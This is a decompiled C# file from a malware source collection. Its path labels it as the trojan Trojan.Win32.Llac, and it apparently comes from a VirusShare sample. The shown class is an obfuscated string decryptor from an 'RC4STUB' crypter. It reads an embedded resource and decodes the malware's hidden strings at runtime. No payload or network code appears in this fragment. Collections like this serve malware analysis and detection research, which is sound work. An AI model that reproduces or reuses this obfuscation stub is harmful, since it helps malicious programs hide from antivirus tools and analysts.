MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6/_0001/_0003.cs

// Decompiled with JetBrains decompiler
// Type: 
.
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4bd99f8fe4adcd07
// MVID: DA5B8577-1DEE-425A-83B8-F58DDD172F9B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6.exe

using \u0001;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0001
{
  internal sealed class \u0003
  {
    private static string \u0001 = "0";
    private static string \u0002 = "216";
    private static byte[] \u0001 = (byte[]) null;
    private static Hashtable \u0001 = (Hashtable) null;
    private static bool \u0001 = false;
    private static int \u0001 = 0;

    public static string \u0003([In] int obj0)
    {
      obj0 -= \u0003.\u0001;
      if (\u0003.\u0001)
      {
        string str = (string) \u009A.\u007E\u0099\u0002((object) \u0003.\u0001, (object) obj0);
        if (str != null)
          return str;
      }
      int num1 = obj0;
      byte[] numArray1 = \u0003.\u0001;
      int index1 = num1;
      int num2 = index1 + 1;
      int num3 = (int) numArray1[index1];
      int num4;
      if ((num3 & 128) == 0)
      {
        num4 = num3;
        if (num4 == 0)
          return string.Empty;
      }
      else if ((num3 & 64) == 0)
      {
        num4 = ((num3 & 63) << 8) + (int) \u0003.\u0001[num2++];
      }
      else
      {
        int num5 = (num3 & 31) << 24;
        byte[] numArray2 = \u0003.\u0001;
        int index2 = num2;
        int num6 = index2 + 1;
        int num7 = (int) numArray2[index2] << 16;
        int num8 = num5 + num7;
        byte[] numArray3 = \u0003.\u0001;
        int index3 = num6;
        int num9 = index3 + 1;
        int num10 = (int) numArray3[index3] << 8;
        int num11 = num8 + num10;
        byte[] numArray4 = \u0003.\u0001;
        int index4 = num9;
        num2 = index4 + 1;
        int num12 = (int) numArray4[index4];
        num4 = num11 + num12;
      }
      try
      {
        byte[] numArray5 = \u0092.\u0081\u0002(\u0096.\u007E\u001A\u0003((object) \u001D\u0002.\u001B\u0003(), \u0003.\u0001, num2, num4));
        string str = \u0092\u0002.\u0008\u0002(\u0096.\u007E\u001A\u0003((object) \u001D\u0002.\u001B\u0003(), numArray5, 0, numArray5.Length));
        if (\u0003.\u0001)
        {
          try
          {
            \u0089\u0002.\u007E\u0097\u0002((object) \u0003.\u0001, (object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0003()
    {
      if (\u008C\u0002.\u0099(\u0003.\u0001, "1"))
      {
        \u0003.\u0001 = true;
        \u0003.\u0001 = new Hashtable();
      }
      \u0003.\u0001 = \u0003\u0002.\u007F\u0002(\u0003.\u0002);
      Assembly assembly = \u0007\u0002.\u0004\u0003();
      Stream stream = \u0014\u0002.\u007E\u009D\u0002((object) assembly, "{da5b8577-1dee-425a-83b8-f58ddd172f9b}");
      try
      {
        int length = \u009E.\u001F\u0002(\u0082\u0002.\u007E\u001E\u0003((object) stream));
        \u0003.\u0001 = new byte[length];
        int num = \u0005\u0003.\u007E\u0080\u0003((object) stream, \u0003.\u0001, 0, length);
        \u0008\u0002.\u007E\u007F\u0003((object) stream);
      }
      finally
      {
        if (stream != null)
          \u0008\u0002.\u007E\u0098((object) stream);
      }
    }
  }
}